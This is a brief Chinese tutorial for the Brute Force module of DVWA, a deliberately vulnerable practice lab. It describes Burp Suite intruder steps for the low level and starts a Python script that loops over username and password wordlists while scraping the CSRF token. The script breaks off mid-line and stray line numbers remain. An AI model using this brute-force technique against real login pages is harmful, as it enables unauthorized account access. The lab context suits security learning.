dvwa通关教程超详细_dvwa authbypass

实验环境

burp+win10+php 5.3+python3
关于burpsuite全套使用教程点此
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

Brute Force

low

先随便输入一个账号密码
在随手抓一个包

选择这个

然后选择如图所示

然后这样选择

长度最长的一般就是密码

hign

按照这个教程
https://www.cnblogs.com/yuanshu/p/11690439.html

PYTHON

import re
import requests

header1 = {
   
    "Cookie": "PHPSESSID=493r4rd6h86v0lue5frn1ohdq5; security=high"  # 复制cookie文件
}

for username in open("user.txt"):  # 账户
    for password in open('pass.txt'): # 密码
        token = re.findall("name='user_token' value='(.*?)' />",
                           requests.get("http
1
2
3
4
5
6
7
8
9
10
11